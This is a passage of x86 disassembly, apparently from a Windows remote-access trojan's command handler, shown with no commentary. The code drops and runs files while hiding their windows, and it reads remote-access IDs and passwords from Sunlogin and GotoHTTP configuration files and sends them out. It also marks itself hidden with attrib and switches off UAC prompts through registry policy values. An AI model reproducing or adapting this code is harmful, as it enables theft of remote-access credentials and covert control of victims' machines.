push 1
push 0x40000000
lea eax, [ebp - 0x327]
movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40c3e7
mov ecx, dword [ebp - 0xd20]
lea eax, [ebp - 0xd28]
mov esi, dword [ebp - 0xd2c]
add ecx, 0xffffff9b
push 0
push eax
push ecx
lea ecx, [esi + 0x65]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40b6e3
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 6
push 0
push 0
lea eax, [ebp - 0x327]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe case.0x40a34c.163
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b561
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
jmp case.0x40a34c.163
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0xd2c], esi
mov byte [ebp - 4], 1
call fcn.00410ef0
mov ecx, eax
test ecx, ecx
je 0x40cf4f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [ebp - 0xd30], edi
mov byte [ebp - 4], 2
mov ecx, 1
mov eax, dword [esi - 8]
sub ecx, dword [esi - 4]
sub eax, 0x104
or eax, ecx
jge 0x40b5d1
push 0x104
lea ecx, [ebp - 0xd2c]
call fcn.0040f460
mov esi, dword [ebp - 0xd2c]
push str.C:ProgramDatagotohttp.ini
push 0x104
push esi
push 0x441616
push str.name
push str.general
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [edi - 8]
mov ecx, 1
sub ecx, dword [edi - 4]
sub eax, 0x104
or eax, ecx
jge 0x40b61b
push 0x104
lea ecx, [ebp - 0xd30]
call fcn.0040f460
mov edi, dword [ebp - 0xd30]
push str.C:ProgramDatagotohttp.ini
push 0x104
push edi
push 0x441616
push 0x440f24
push str.general
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0xc9
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xd18], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [eax], 0xe3
lea eax, [ebp - 0xf0]
push eax
call esi
push edi
lea eax, [ebp - 0x8c]
push eax
call esi
mov edi, dword [ebp - 0xd18]
lea esi, [ebp - 0xf0]
inc edi
mov ecx, 0x32
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0xd18]
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0xd38]
push eax
push esi
call fcn.004110b0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov byte [ebp - 4], 1
or esi, 0xffffffff
mov edx, dword [ebp - 0xd30]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b6c4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0xd2c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x40b6e3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe case.0x40a34c.2
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b717
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
jmp case.0x40a34c.2
mov eax, dword [str.xrk.exe]
xorps xmm0, xmm0
movups xmmword [ebp - 0x248], xmm0
mov dword [ebp - 0x248], eax
mov ax, word [0x440f34]
mov word [ebp - 0x244], ax
mov al, byte [0x440f36]
mov dword [ebp - 0x238], 7
mov dword [ebp - 0x234], 0xf
mov byte [ebp - 0x242], al
mov byte [ebp - 0x241], 0
lea ecx, [ebp - 0x248]
mov dword [ebp - 4], 3
call fcn.0040a230
test al, al
je 0x40c00f
lea eax, [ebp - 0xd18]
mov dword [ebp - 0xd18], 0
push eax
push 0
push 0
push 0x437450
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
push dword [ebp - 0xd18]
lea ecx, [ebp - 0x290]
call fcn.0040e5e0
push str.Oray
lea ecx, [ebp - 0x340]
mov byte [ebp - 4], 4
call fcn.0040e5e0
push str.SunloginClient
lea ecx, [ebp - 0x2dc]
mov byte [ebp - 4], 5
call fcn.0040e5e0
push str.config.ini
lea ecx, [ebp - 0x388]
mov byte [ebp - 4], 6
call fcn.0040e5e0
mov byte [ebp - 4], 7
mov eax, SysReAllocString
mov edx, dword [ebp - 0x330]
sub eax, edx
cmp eax, 1
jb 0x40cf77
cmp dword [ebp - 0x32c], 7
lea eax, [ebp - 0x340]
mov ecx, dword [ebp - 0x340]
lea esi, [ebp - 0x278]
cmova eax, ecx
mov dword [ebp - 0xd24], ecx
lea ecx, [edx + 1]
mov dword [ebp - 0xd30], eax
mov edi, 7
mov dword [ebp - 0x268], 0
seta byte [ebp - 0xd19]
mov dword [ebp - 0x264], 0
mov dword [ebp - 0xd34], ecx
xorps xmm0, xmm0
movups xmmword [ebp - 0x278], xmm0
cmp ecx, edi
jbe 0x40b907
mov edi, ecx
or edi, 7
cmp edi, 0x7ffffffe
jbe 0x40b88d
mov eax, SysReAllocString
mov edi, SysReAllocString
add eax, eax
jmp 0x40b8af
cmp edi, 0xa
mov eax, 0xa
cmovb edi, eax
lea eax, [edi + 1]
cmp eax, 0x7fffffff
ja 0x40cf59
add eax, eax
cmp eax, 0x1000
jb 0x40b8e2
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x40cf59
push ecx
call fcn.0041384a
add esp, 4
test eax, eax
je 0x40cf72
mov ecx, dword [ebp - 0xd34]
lea esi, [eax + 0x23]
mov edx, dword [ebp - 0x330]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x40b901
test eax, eax
je 0x40b8ff
push eax
call fcn.0041384a
mov ecx, dword [ebp - 0xd34]
add esp, 4
mov edx, dword [ebp - 0x330]
mov esi, eax
jmp 0x40b901
xor esi, esi
mov dword [ebp - 0x278], esi
mov ax, word [0x4410f0]
mov dword [ebp - 0x268], ecx
lea ecx, [esi + 2]
mov dword [ebp - 0x264], edi
mov word [esi], ax
lea eax, [edx + edx]
push eax
push dword [ebp - 0xd30]
push ecx
call fcn.00416160
mov eax, dword [ebp - 0x330]
xor ecx, ecx
add esp, 0xc
mov word [esi + eax*2 + 2], cx
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x278]
mov esi, dword [ebp - 0x264]
mov eax, esi
mov edx, dword [ebp - 0x268]
sub eax, edx
cmp eax, 1
jb 0x40b98a
cmp esi, 7
lea eax, [edx + 1]
mov dword [ebp - 0x268], eax
cmova ecx, dword [ebp - 0x278]
mov ax, word [0x4410f0]
mov word [ecx + edx*2], ax
xor eax, eax
mov word [ecx + edx*2 + 2], ax
lea eax, [ebp - 0x278]
jmp 0x40b99f
push 1
push 0x4410f0
mov byte [ebp - 0x24], 0
push dword [ebp - 0x24]
push 1
call fcn.004101c0
mov dword [ebp - 0x2b0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c0], xmm0
mov dword [ebp - 0x2ac], 0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2b0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
lea eax, [ebp - 0x2dc]
mov byte [ebp - 4], 9
push eax
lea edx, [ebp - 0x2c0]
lea ecx, [ebp - 0x370]
call fcn.0040f990
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xa
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0x10]
sub eax, esi
cmp eax, 1
jb 0x40ba3b
cmp dword [ecx + 0x14], 7
lea edi, [esi + 1]
mov dword [ecx + 0x10], edi
mov edx, ecx
jbe 0x40ba29
mov edx, dword [ecx]
mov ax, word [0x4410f0]
mov word [edx + esi*2], ax
xor eax, eax
mov word [edx + edi*2], ax
jmp 0x40ba58
push 1
push 0x4410f0
mov byte [ebp - 0xd28], 0
push dword [ebp - 0xd28]
push 1
call fcn.004101c0
mov ecx, eax
mov dword [ebp - 0x298], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2a8], xmm0
mov dword [ebp - 0x294], 0
xor eax, eax
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x2a8], xmm0
movq xmm0, qword [ecx + 0x10]
movq qword [ebp - 0x298], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
mov word [ecx], ax
lea eax, [ebp - 0x388]
mov byte [ebp - 4], 0xb
push eax
lea edx, [ebp - 0x2a8]
lea ecx, [ebp - 0x358]
call fcn.0040f990
add esp, 4
push eax
lea ecx, [ebp - 0x290]
mov byte [ebp - 4], 0xc
call fcn.0040f240
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x344]
cmp ecx, 7
jbe 0x40bb17
mov edx, dword [ebp - 0x358]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bb0d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x294]
mov dword [ebp - 0x348], 0
mov dword [ebp - 0x344], 7
mov word [ebp - 0x358], ax
cmp ecx, 7
jbe 0x40bb7c
mov edx, dword [ebp - 0x2a8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bb72
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
xor eax, eax
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x35c]
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 7
mov word [ebp - 0x2a8], ax
cmp ecx, 7
jbe 0x40bbe1
mov edx, dword [ebp - 0x370]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bbd7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
xor eax, eax
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x2ac]
mov dword [ebp - 0x360], 0
mov dword [ebp - 0x35c], 7
mov word [ebp - 0x370], ax
cmp ecx, 7
jbe 0x40bc46
mov edx, dword [ebp - 0x2c0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bc3c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
xor eax, eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x2b0], 0
mov dword [ebp - 0x2ac], 7
mov word [ebp - 0x2c0], ax
cmp ecx, 7
jbe 0x40bcab
mov edx, dword [ebp - 0x278]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bca1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
cmp dword [ebp - 0x27c], 7
lea ecx, [ebp - 0x290]
mov eax, dword [ebp - 0x280]
jbe 0x40bccb
mov esi, dword [ebp - 0x290]
lea edi, [esi + eax*2]
jmp 0x40bcd4
lea edi, [ecx + eax*2]
lea esi, [ebp - 0x290]
mov dword [ebp - 0x250], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x260], xmm0
cmp esi, edi
jne 0x40bd03
mov ecx, 0xf
mov byte [ebp - 0x260], 0
mov dword [ebp - 0x24c], ecx
jmp 0x40be26
sub edi, esi
mov dword [ebp - 0x24c], 0xf
sar edi, 1
cmp edi, 0x7fffffff
ja 0x40cf77
mov eax, 0xf
cmp edi, eax
jbe 0x40bdd9
mov eax, edi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x40bd4a
mov eax, SysReAllocString
mov dword [ebp - 0xd30], SysStringLen
add eax, 0x23
jmp 0x40bd75
cmp eax, 0x16
mov ecx, 0x16
cmovb eax, ecx
mov dword [ebp - 0xd30], eax
lea ecx, [eax + 1]
cmp ecx, 0x1000
jb 0x40bda6
lea eax, [ecx + 0x23]
cmp eax, ecx
jbe 0x40cf59
push eax
call fcn.0041384a
add esp, 4
test eax, eax
je 0x40cf72
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
mov eax, dword [ebp - 0xd30]
mov dword [ebp - 0x260], ecx
mov dword [ebp - 0x24c], eax
jmp 0x40bddf
test ecx, ecx
je 0x40bdc9
push ecx
call fcn.0041384a
mov ecx, eax
add esp, 4
mov eax, dword [ebp - 0xd30]
mov dword [ebp - 0x260], ecx
mov dword [ebp - 0x24c], eax
jmp 0x40bddf
xor ecx, ecx
mov dword [ebp - 0x24c], eax
mov dword [ebp - 0x260], ecx
jmp 0x40bddf
mov ecx, dword [ebp - 0x260]
cmp eax, 0xf
lea edx, [ebp - 0x260]
cmova edx, ecx
mov dword [ebp - 0xd34], edx
mov ecx, edx
mov edx, edi
test edi, edi
je 0x40be10
nop dword [eax]
mov al, byte [esi]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
lea esi, [esi + 2]
sub edx, 1
jne 0x40be00
mov eax, dword [ebp - 0xd34]
mov dword [ebp - 0x250], edi
mov byte [eax + edi], 0
mov ecx, dword [ebp - 0x24c]
cmp ecx, 0xf
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x260]
cmova eax, dword [ebp - 0x260]
push 0
push eax
call fcn.0041d040
add esp, 8
cmp eax, 0xffffffff
jne 0x40c0bd
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x24c]
cmp ecx, 0xf
jbe 0x40be8c
mov edx, dword [ebp - 0x260]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40be82
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x374]
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 0xf
mov byte [ebp - 0x260], 0
cmp ecx, 7
jbe 0x40beeb
mov edx, dword [ebp - 0x388]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bee1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x2c8]
cmp ecx, 7
jbe 0x40bf2f
mov edx, dword [ebp - 0x2dc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bf25
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
mov byte [ebp - 4], 4
cmp byte [ebp - 0xd19], 0
je 0x40bf7b
mov ecx, dword [ebp - 0x32c]
mov edx, dword [ebp - 0xd24]
mov eax, edx
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x40bf71
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x27c]
cmp ecx, 7
jbe 0x40bfbf
mov edx, dword [ebp - 0x290]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bfb5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
mov esi, dword [ebp - 0xd2c]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe case.0x40a34c.173
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c000
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
jmp case.0x40a34c.173
mov ecx, 0x19
lea edi, [ebp - 0x328]
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 2
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x327]
movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40c3e7
mov ecx, dword [ebp - 0xd20]
lea eax, [ebp - 0x14]
mov esi, dword [ebp - 0xd2c]
add ecx, 0xffffff9b
push 0
push eax
push ecx
lea ecx, [esi + 0x65]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40c3e7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea eax, [ebp - 0x327]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x440f90
push str.32770
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x40c090
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x40bfc5
call fcn.00410ef0
mov ecx, eax
test ecx, ecx
je 0x40cf5e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0xd2c], esi
mov byte [ebp - 4], 0xe
call fcn.00410ef0
mov ecx, eax
test ecx, ecx
je 0x40cf68
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [ebp - 0xd30], edi
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x260]
cmp dword [ebp - 0x24c], 0xf
mov ecx, 1
cmova eax, dword [ebp - 0x260]
sub ecx, dword [esi - 4]
mov dword [ebp - 0xd28], eax
mov eax, dword [esi - 8]
sub eax, 0x104
or eax, ecx
jge 0x40c147
push 0x104
lea ecx, [ebp - 0xd2c]
call fcn.0040f460
mov esi, dword [ebp - 0xd2c]
push dword [ebp - 0xd28]
push 0x104
push esi
push 0x441616
push str.fastcode
push str.base
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp dword [ebp - 0x24c], 0xf
lea eax, [ebp - 0x260]
mov ecx, 1
cmova eax, dword [ebp - 0x260]
sub ecx, dword [edi - 4]
mov dword [ebp - 0xd28], eax
mov eax, dword [edi - 8]
sub eax, 0x104
or eax, ecx
jge 0x40c1ac
push 0x104
lea ecx, [ebp - 0xd30]
call fcn.0040f460
mov edi, dword [ebp - 0xd30]
push dword [ebp - 0xd28]
push 0x104
push edi
push 0x441616
push str.password
push str.base
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0xc9
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xd34], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [eax], 0xe5
lea eax, [ebp - 0xf0]
push eax
call esi
push edi
lea eax, [ebp - 0x8c]
push eax
call esi
mov edi, dword [ebp - 0xd34]
lea esi, [ebp - 0xf0]
inc edi
mov ecx, 0x32
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0xd34]
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [ebp - 0xd38]
push eax
push esi
call fcn.004110b0
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov byte [ebp - 4], 0xe
or esi, 0xffffffff
mov edx, dword [ebp - 0xd30]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c256
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0xd2c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x40c275
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x24c]
cmp ecx, 0xf
jbe 0x40c2af
mov edx, dword [ebp - 0x260]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40c2a5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
mov ecx, dword [ebp - 0x374]
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 0xf
mov byte [ebp - 0x260], 0
cmp ecx, 7
jbe 0x40c30a
mov edx, dword [ebp - 0x388]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c300
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
mov ecx, dword [ebp - 0x2c8]
cmp ecx, 7
jbe 0x40c34a
mov edx, dword [ebp - 0x2dc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c340
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
mov ecx, dword [ebp - 0x32c]
cmp ecx, 7
jbe 0x40c38a
mov edx, dword [ebp - 0xd24]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c380
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
mov ecx, dword [ebp - 0x27c]
cmp ecx, 7
jbe 0x40c3ca
mov edx, dword [ebp - 0x290]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c3c0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
push ecx
push edx
call fcn.0041380b
add esp, 8
xor eax, eax
mov dword [ebp - 0x280], 0
mov dword [ebp - 0x27c], 7
mov word [ebp - 0x290], ax
mov ecx, dword [ebp - 0x234]
cmp ecx, 0xf
jbe case.0x40a34c.2
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b717
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cf72
jmp 0x40b717
mov dword [0x446b68], 3
nop
call fcn.0040d180
cmp al, 1
mov ecx, edi
push 1
lea eax, [ebp - 0xd19]
push eax
je 0x40c45e
mov byte [ebp - 0xd19], 0xe2
call fcn.004110b0
cmp dword [0x446b68], 0
jne 0x40c430
jmp case.0x40a34c.2
mov byte [ebp - 0xd19], 0xe1
call fcn.004110b0
jmp case.0x40a34c.2
call fcn.0040d180
cmp al, 1
mov ecx, edi
push 1
lea eax, [ebp - 0xd19]
push eax
je 0x40c45e
mov byte [ebp - 0xd19], 0xe2
call fcn.004110b0
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0x408ae0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
push 0x104
lea eax, [ebp - 0x12c]
push 0
push eax
call fcn.004166e0
push 0x104
lea eax, [ebp - 0x48c]
push 0
push eax
call fcn.004166e0
push 0x104
lea eax, [ebp - 0x230]
push 0
push eax
call fcn.004166e0
add esp, 0x24
lea eax, [ebp - 0x12c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [ebp - 0x12c]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0x104
lea eax, [ebp - 0x48c]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x230]
push str._c_attrib
push eax
call esi
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0x230]
push eax
call esi
push str._s_h
lea eax, [ebp - 0x230]
push eax
call esi
lea eax, [ebp - 0x48c]
mov dword [ebp - 0x300], 0x3c
mov dword [ebp - 0x2f0], eax
lea eax, [ebp - 0x230]
mov dword [ebp - 0x2ec], eax
lea eax, [ebp - 0x300]
push eax
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0x2f4], str.Open
mov dword [ebp - 0x2e8], 0
mov dword [ebp - 0x2fc], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x40c5f9
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x40
push dword [ebp - 0x2c8]
call esi
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
lea eax, [ebp - 0x12c]
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
call fcn.00408bc0
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0x408fd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0x7d0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0
mov dword [ebp - 0x20], 0x4090b0
mov dword [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412df0
push 0
push 0
call fcn.0041e55a
add esp, 0x18
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.0x40a34c.2
push 0x440ac4
call fcn.0041c939
add esp, 4
mov dword [ebp - 0xd28], eax
lea eax, [ebp - 0xd24]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x40c6df
push 4
lea eax, [ebp - 0xd28]
push eax
push 4
push 0
push str.ConsentPromptBehaviorAdmin
push dword [ebp - 0xd24]
call esi
push dword [ebp - 0xd24]
call edi
push 0x440ac4
call fcn.0041c939
add esp, 4
mov dword [ebp - 0xd28], eax
lea eax, [ebp - 0xd24]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne case.0x40a34c.2
push 4
lea eax, [ebp - 0xd28]
push eax
push 4
push 0
push str.PromptOnSecureDesktop
push dword [ebp - 0xd24]
call esi
push dword [ebp - 0xd24]
call edi
jmp case.0x40a34c.2
mov dword [0x448ce0], 1
push 0
push 0
push 0
push 0x409910
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0x409960
push 0
push 0
mov dword [0x448cdc], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0x4099b0
push 0
push 0
mov dword [0x448cd8], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0x409a50
push 0
push 0
mov dword [0x448cd0], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
push 0
push 0
push 0
push 0x409a00
push 0
push 0
mov dword [0x448cd4], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
mov dword [0x448ce0], 0
jmp 0x40c742
push 0
push 0
push 0
push 0x409960
push 0
push 0
mov dword [0x448cdc], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp case.0x40a34c.2
push 0
